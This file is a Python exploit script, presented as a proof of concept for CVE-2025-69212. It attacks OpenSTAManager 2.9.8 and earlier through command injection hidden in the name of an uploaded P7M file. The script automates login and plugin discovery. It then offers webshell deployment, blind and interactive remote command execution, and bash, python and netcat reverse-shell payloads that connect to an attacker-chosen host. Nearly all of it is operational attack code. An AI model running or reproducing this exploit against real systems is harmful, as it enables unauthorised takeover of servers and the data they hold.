#!/usr/bin/env python3
import argparse
import base64
import io
import os
import random
import re
import sys
import time
import zipfile
import requests
import urllib3
if sys.platform == "win32":
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding="utf-8", errors="replace")
sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding="utf-8", errors="replace")
os.system("")
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
BANNER = r"""
_______ ________ ___ ___ ___ _____ __ ___ ___ __ ___
/ ____\ \ / / ____| |__ \ / _ \__ \| ____| / // _ \__ \/_ |__ \
| | \ \ / /| |__ ______ ) | | | | ) | |__ ______ / /| (_) | ) || | ) |
| | \ \/ / | __|______/ /| | | |/ /|___ \______| '_ \__, |/ / | | / /
| |____ \ / | |____ / /_| |_| / /_ ___) | | (_) |/ // /_ | |/ /_
\_____| \/ |______| |____|\___/____|____/ \___//_/|____||_|____|
OpenSTAManager <= 2.9.8 | OS Command Injection
P7M File Processing — decodeP7M() exec() sink
"""
class Style:
R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
B = "\033[94m"
M = "\033[95m"
C = "\033[96m"
W = "\033[97m"
D = "\033[1m"
DIM = "\033[2m"
X = "\033[0m"
def log_info(msg):
print(f" {Style.B}[*]{Style.X} {msg}")
def log_success(msg):
print(f" {Style.G}[+]{Style.X} {msg}")
def log_warning(msg):
print(f" {Style.Y}[!]{Style.X} {msg}")
def log_error(msg):
print(f" {Style.R}[-]{Style.X} {msg}")
def log_data(label, value):
print(f" {Style.C}├─{Style.X} {Style.D}{label}:{Style.X} {value}")
def log_data_last(label, value):
print(f" {Style.C}└─{Style.X} {Style.D}{label}:{Style.X} {value}")
def separator(char="═", length=62, color=Style.M):
print(f" {color}{char * length}{Style.X}")
def header(title, color=Style.M):
separator(color=color)
print(f" {color}║{Style.X} {Style.D}{title}{Style.X}")
separator(color=color)
class OpenSTAManagerRCE:
def __init__(self, target, username=None, password=None, cookie=None,
module_id=None, plugin_id=None, proxy=None,
no_ssl_verify=False, delay=0, webroot="/var/www/html/openstamanager",
output_url=None, verbose=False):
self.target = target.rstrip("/")
self.username = username
self.password = password
self.cookie = cookie
self.module_id = module_id
self.plugin_id = plugin_id
self.webroot = webroot
self.output_url = output_url or f"{self.target}/o.txt"
self.verbose = verbose
self.delay = delay
self.session = requests.Session()
self.session.verify = not no_ssl_verify
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
})
if proxy:
self.session.proxies = {"http": proxy, "https": proxy}
self.upload_action = f"{self.target}/actions.php"
self.upload_op = "save"
self.upload_file_field = "blob"
self.upload_extra = {}
self._candidates = []
self.request_count = 0
self.start_time = None
def authenticate(self):
self.start_time = time.time()
if self.cookie:
self.session.cookies.set("PHPSESSID", self.cookie)
log_info(f"Using session cookie: {Style.D}{self.cookie[:24]}...{Style.X}")
try:
resp = self.session.get(f"{self.target}/index.php", timeout=15)
self.request_count += 1
except requests.exceptions.RequestException as e:
log_error(f"Connection failed: {e}")
return False
if self._is_login_page(resp.text):
log_error("Session cookie invalid or expired.")
return False
log_success("Session cookie valid.")
return True
if not self.username or not self.password:
log_error("Provide credentials (-u/-p) or a session cookie (-c).")
return False
log_info(f"Authenticating as {Style.D}{self.username}{Style.X}...")
try:
resp = self.session.get(f"{self.target}/index.php", timeout=15)
self.request_count += 1
except requests.exceptions.RequestException as e:
log_error(f"Connection failed: {e}")
return False
token = None
for pattern in [
r'name=["\']token["\'][^>]*value=["\']([^"\']+)',
r'value=["\']([^"\']+)["\'][^>]*name=["\']token["\']',
]:
m = re.search(pattern, resp.text, re.DOTALL)
if m:
token = m.group(1)
break
login_data = {"op": "login", "username": self.username, "password": self.password}
if token:
login_data["token"] = token
try:
resp = self.session.post(
f"{self.target}/index.php", data=login_data,
allow_redirects=True, timeout=15
)
self.request_count += 1
except requests.exceptions.RequestException as e:
log_error(f"Login failed: {e}")
return False
if self._is_login_page(resp.text):
log_error("Authentication failed.")
return False
log_success("Authenticated successfully.")
return True
def _is_login_page(self, text):
lower = text.lower()
has_login = any(x in lower for x in ['name="password"', 'op=login', 'id="password"'])
has_logout = any(x in lower for x in ["logout", "op=logout"])
return has_login and not has_logout
def _wait(self):
if self.delay > 0:
time.sleep(self.delay)
def _discover_upload_form(self, html):
action = self.upload_action
op = "save"
file_field = "blob"
extra = {}
for form_attrs, form_body in re.findall(r'
', html, re.DOTALL | re.IGNORECASE):
if not re.search(r'type=["\']file["\']', form_body, re.IGNORECASE):
continue
a_m = re.search(r'action=["\']([^"\']+)["\']', form_attrs, re.IGNORECASE)
if a_m:
a = a_m.group(1)
action = a if a.startswith('http') else f"{self.target}/{a.lstrip('/')}"
for inp in re.finditer(r']+)>', form_body, re.IGNORECASE):
t = re.search(r'type=["\']([^"\']+)["\']', inp.group(1), re.IGNORECASE)
n = re.search(r'name=["\']([^"\']+)["\']', inp.group(1), re.IGNORECASE)
v = re.search(r'value=["\']([^"\']*)["\']', inp.group(1), re.IGNORECASE)
if not t or not n:
continue
inp_type = t.group(1).lower()
inp_name = n.group(1)
inp_value = v.group(1) if v else ""
if inp_type == 'file':
file_field = inp_name
elif inp_type == 'hidden':
if inp_name.lower() == 'op':
op = inp_value
else:
extra[inp_name] = inp_value
return action, op, file_field, extra
return action, op, file_field, extra
def detect_plugin(self):
if self.module_id and self.plugin_id:
log_info(f"Using module={self.module_id}, plugin={self.plugin_id}")
return True
print()
header("PLUGIN DETECTION", Style.B)
log_info("Scanning for P7M vulnerable plugin...")
try:
resp = self.session.get(f"{self.target}/index.php", timeout=15)
self.request_count += 1
except requests.exceptions.RequestException:
log_error("Failed to fetch main page.")
separator(color=Style.B)
return False
module_ids = list(dict.fromkeys(re.findall(r'id_module=(\d+)', resp.text)))
if not module_ids:
log_error("No modules found.")
separator(color=Style.B)
return False
log_info(f"Found {len(module_ids)} module(s).")
fe_keywords = ['importfe', 'p7m', 'fattura', 'fe_zip', 'electronic invoice', 'importa fe']
for mid in module_ids:
self._wait()
try:
page = self.session.get(f"{self.target}/controller.php?id_module={mid}", timeout=10)
self.request_count += 1
page_lower = page.text.lower()
if not any(kw in page_lower for kw in fe_keywords):
continue
plugin_ids = re.findall(r'id_plugin=(\d+)', page.text)
if plugin_ids:
action, op, file_field, extra = self._discover_upload_form(page.text)
self._candidates.append((int(mid), int(plugin_ids[0]), action, op, file_field, extra))
except requests.exceptions.RequestException:
continue
if not self._candidates:
log_error("Auto-detection failed.")
separator(color=Style.B)
return False
self.module_id, self.plugin_id, self.upload_action, self.upload_op, self.upload_file_field, self.upload_extra = self._candidates[0]
log_success(f"Found {len(self._candidates)} candidate(s).")
log_data("Module ID", self.module_id)
log_data("Plugin ID", self.plugin_id)
log_data_last("Upload endpoint", f"{self.upload_op} → {self.upload_action}")
separator(color=Style.B)
print()
return True
def _encode_payload(self, cmd):
b32 = base64.b32encode(cmd.encode()).decode()
return f"z$(echo${{IFS}}{b32}|base32${{IFS}}-d|bash).p7m"
def _create_zip(self, filename):
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_STORED) as zf:
zf.writestr(filename, b"")
buf.seek(0)
return buf
def _upload_payload(self, filename):
self._wait()
candidates = self._candidates if self._candidates else \
[(self.module_id, self.plugin_id, self.upload_action, self.upload_op, self.upload_file_field, self.upload_extra)]
for mid, pid, action, op, file_field, extra in candidates:
params = {"op": op, "id_module": mid, "id_plugin": pid}
params.update(extra)
try:
resp = self.session.post(
action, params=params,
files={file_field: (filename, self._create_zip(filename), "application/octet-stream")},
timeout=8, allow_redirects=True
)
self.request_count += 1
if self.verbose:
log_info(f"Upload [{mid}/{pid}] → HTTP {resp.status_code} ({len(resp.content)} bytes)")
if resp.status_code < 500:
if mid != self.module_id:
log_info(f"Switched to working module: {mid}/{pid}")
self.module_id = mid
self.plugin_id = pid
self.upload_action = action
self.upload_op = op
self.upload_file_field = file_field
self.upload_extra = extra
self._candidates = [(mid, pid, action, op, file_field, extra)]
return resp
if self.verbose:
err_m = re.search(r']*card-body[^>]*>(.*?)
', resp.text, re.DOTALL | re.IGNORECASE)
if err_m:
log_error(f"Server error: {err_m.group(1).strip()[:200]!r}")
except requests.exceptions.RequestException as e:
if self.verbose:
log_error(f"Upload exception [{mid}]: {e}")
return None
def _fetch_output(self, timeout=15, marker="RCEOUT"):
if self.verbose:
log_info(f"Polling: {self.output_url}")
for i in range(timeout * 2):
try:
resp = self.session.get(self.output_url, timeout=5)
self.request_count += 1
if marker in resp.text:
return resp.text.split(marker)[0]
except requests.exceptions.RequestException:
pass
time.sleep(0.5)
try:
diag = self.session.get(self.output_url, timeout=5)
self.request_count += 1
log_warning(f"Output URL: {self.output_url} → HTTP {diag.status_code}")
if diag.status_code == 200 and diag.text.strip():
log_warning(f"Content (no marker): {diag.text[:120]!r}")
except requests.exceptions.RequestException:
log_warning(f"Output URL unreachable: {self.output_url}")
return None
def check_vulnerability(self):
print()
header("VULNERABILITY CHECK", Style.Y)
marker = f"MRK{random.randint(100000000, 999999999)}"
cmd = f"{{ echo VULN_OK ; echo {marker} ; }} > {self.webroot}/o.txt 2>&1"
filename = self._encode_payload(cmd)
log_info("Uploading check payload...")
resp = self._upload_payload(filename)
if resp is None:
log_error("Upload failed.")
separator(color=Style.Y)
return False
log_info("Waiting for execution...")
output = self._fetch_output(timeout=10, marker=marker)
if output and "VULN_OK" in output:
log_success(f"{Style.D}Target is VULNERABLE!{Style.X}")
separator(color=Style.G)
print()
return True
log_warning("No output (may still be vulnerable).")
separator(color=Style.Y)
print()
return False
def deploy_webshell(self, shell_name="shell.php"):
print()
header("WEBSHELL DEPLOYMENT", Style.R)
shell_code = ''
marker = "SHELL_OK"
cmd = f"{{ echo '{shell_code}' > {self.webroot}/{shell_name} && echo {marker} ; }} > {self.webroot}/o.txt 2>&1"
filename = self._encode_payload(cmd)
log_info(f"Deploying: {shell_name}")
resp = self._upload_payload(filename)
if resp is None:
log_error("Upload failed.")
separator(color=Style.R)
return False
log_info("Verifying...")
output = self._fetch_output(timeout=10, marker=marker)
if output is not None:
log_success(f"{Style.D}Webshell deployed!{Style.X}")
log_data("URL", f"{self.target}/{shell_name}?c=id")
log_data_last("Parameter", "c")
separator(color=Style.G)
print()
return True
log_warning("Deployment uncertain.")
separator(color=Style.Y)
print()
return False
def reverse_shell(self, lhost, lport, method="bash"):
print()
header("REVERSE SHELL", Style.R)
payloads = {
"bash": f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1",
"python": (
f"python3 -c 'import socket,subprocess,os;"
f"s=socket.socket();"
f"s.connect((\"{lhost}\",{lport}));"
f"os.dup2(s.fileno(),0);"
f"os.dup2(s.fileno(),1);"
f"os.dup2(s.fileno(),2);"
f"subprocess.call([\"/bin/sh\",\"-i\"])'"
),
"nc": f"rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f",
"nc-e": f"nc -e /bin/bash {lhost} {lport}",
}
if method not in payloads:
log_error(f"Unknown method: {method}")
log_info(f"Available: bash, python, nc, nc-e")
separator(color=Style.R)
return False
cmd = f"({payloads[method]}) &"
filename = self._encode_payload(cmd)
log_data("Method", method)
log_data_last("Target", f"{lhost}:{lport}")
print()
log_warning(f"Start listener: {Style.D}nc -lvnp {lport}{Style.X}")
try:
input(f"\n {Style.Y}[?]{Style.X} Press Enter when ready...")
except (EOFError, KeyboardInterrupt):
print()
separator(color=Style.R)
return False
log_info("Delivering payload...")
resp = self._upload_payload(filename)
if resp:
log_success("Payload delivered!")
else:
log_error("Upload failed.")
separator(color=Style.R)
print()
return resp is not None
def blind_exec(self, cmd):
print()
header("COMMAND EXECUTION", Style.M)
marker = f"MRK{random.randint(100000000, 999999999)}"
exec_cmd = f"{{ {cmd} ; echo {marker} ; }} > {self.webroot}/o.txt 2>&1"
filename = self._encode_payload(exec_cmd)
log_info(f"Command: {Style.D}{cmd}{Style.X}")
log_info("Executing...")
resp = self._upload_payload(filename)
if resp is None:
log_error("Upload failed.")
separator(color=Style.M)
return False
output = self._fetch_output(timeout=15, marker=marker)
if output:
print()
print(output)
else:
log_warning("No output (check webshell for verification).")
separator(color=Style.M)
print()
return output is not None
def interactive_shell(self):
print()
header("INTERACTIVE SHELL", Style.G)
cwd = "."
try:
marker = f"MRK{random.randint(100000000, 999999999)}"
cmd = f"{{ pwd ; echo {marker} ; }} > {self.webroot}/o.txt 2>&1"
filename = self._encode_payload(cmd)
self._upload_payload(filename)
out = self._fetch_output(timeout=10, marker=marker)
if out:
cwd = out.strip().split('\n')[-1]
except Exception:
pass
print(f"\n {Style.Y}Type 'exit' to quit.{Style.X}\n")
while True:
try:
user_input = input(f" {Style.C}www-data@target:{cwd}${Style.X} ").strip()
except (EOFError, KeyboardInterrupt):
print()
break
if not user_input:
continue
if user_input.lower() in ("exit", "quit"):
break
if user_input.startswith("cd "):
target_dir = user_input[3:].strip() or "."
marker = f"MRK{random.randint(100000000, 999999999)}"
exec_cmd = f"{{ cd {target_dir} && pwd ; echo {marker} ; }} > {self.webroot}/o.txt 2>&1"
filename = self._encode_payload(exec_cmd)
self._upload_payload(filename)
out = self._fetch_output(timeout=10, marker=marker)
if out and "No such" not in out and not out.startswith("[-]"):
cwd = out.strip().split('\n')[-1]
continue
marker = f"MRK{random.randint(100000000, 999999999)}"
exec_cmd = f"{{ cd {cwd} && {user_input} ; echo {marker} ; }} > {self.webroot}/o.txt 2>&1"
filename = self._encode_payload(exec_cmd)
self._upload_payload(filename)
out = self._fetch_output(timeout=15, marker=marker)
if out:
print(out)
separator(color=Style.G)
print()
def print_stats(self):
if self.start_time:
elapsed = time.time() - self.start_time
print(f"\n {Style.DIM}─── Stats: {self.request_count} requests in {elapsed:.1f}s ───{Style.X}\n")
def build_parser():
parser = argparse.ArgumentParser(
prog="CVE-2025-69212",
description="OpenSTAManager <= 2.9.8 RCE via P7M Injection",
formatter_class=argparse.RawDescriptionHelpFormatter,
)
target_grp = parser.add_argument_group("Target")
target_grp.add_argument("-t", "--target", required=True, help="Target URL")
auth_grp = parser.add_argument_group("Authentication")
auth_grp.add_argument("-u", "--user", help="Username")
auth_grp.add_argument("-p", "--password", help="Password")
auth_grp.add_argument("-c", "--cookie", help="PHPSESSID cookie")
action_grp = parser.add_argument_group("Actions")
action_grp.add_argument("--check", action="store_true", help="Check vulnerability")
action_grp.add_argument("--webshell", action="store_true", help="Deploy webshell")
action_grp.add_argument("--rce", action="store_true", help="Interactive shell")
action_grp.add_argument("--reverse-shell", nargs=2, metavar=("LHOST", "LPORT"),
help="Reverse shell (bash, python, nc)")
action_grp.add_argument("--cmd", metavar="COMMAND", help="Execute command")
shell_grp = parser.add_argument_group("Shell Options")
shell_grp.add_argument("--shell-name", default="shell.php", help="Webshell filename")
shell_grp.add_argument("--method", default="bash", choices=["bash", "python", "nc", "nc-e"],
help="Reverse shell method (default: bash)")
shell_grp.add_argument("--webroot", default="/var/www/html/openstamanager",
help="Server webroot for staging")
shell_grp.add_argument("--output-url", metavar="URL",
help="URL to fetch output from (default: TARGET/o.txt)")
module_grp = parser.add_argument_group("Module Settings")
module_grp.add_argument("--module-id", type=int, help="Module ID")
module_grp.add_argument("--plugin-id", type=int, help="Plugin ID")
net_grp = parser.add_argument_group("Network")
net_grp.add_argument("--proxy", help="HTTP proxy")
net_grp.add_argument("-k", "--no-ssl-verify", action="store_true", help="Skip SSL verify")
net_grp.add_argument("--delay", type=float, default=0, help="Request delay")
net_grp.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
return parser
def main():
print(f"{Style.R}{BANNER}{Style.X}")
print(f" {Style.DIM}CVE-2025-69212 Proof of Concept{Style.X}\n")
parser = build_parser()
args = parser.parse_args()
if not args.cookie and (not args.user or not args.password):
parser.error("Provide credentials (-u/-p) or cookie (-c)")
has_action = any([args.check, args.webshell, args.rce, args.reverse_shell, args.cmd])
if not has_action:
parser.error("Specify action: --check, --webshell, --rce, --reverse-shell, --cmd")
separator("━", color=Style.DIM)
exploit = OpenSTAManagerRCE(
target=args.target,
username=args.user,
password=args.password,
cookie=args.cookie,
module_id=args.module_id,
plugin_id=args.plugin_id,
proxy=args.proxy,
no_ssl_verify=args.no_ssl_verify,
delay=args.delay,
webroot=args.webroot,
output_url=args.output_url,
verbose=args.verbose,
)
if not exploit.authenticate():
sys.exit(1)
separator("━", color=Style.DIM)
if not args.module_id or not args.plugin_id:
if not exploit.detect_plugin():
if not args.module_id:
log_error("Cannot proceed without module/plugin ID.")
sys.exit(1)
try:
if args.check:
exploit.check_vulnerability()
if args.webshell:
exploit.deploy_webshell(shell_name=args.shell_name)
if args.reverse_shell:
lhost, lport = args.reverse_shell
exploit.reverse_shell(lhost, int(lport), method=args.method)
if args.cmd:
exploit.blind_exec(args.cmd)
if args.rce:
exploit.interactive_shell()
except KeyboardInterrupt:
print(f"\n\n {Style.Y}[!]{Style.X} Interrupted.")
exploit.print_stats()
if __name__ == "__main__":
main()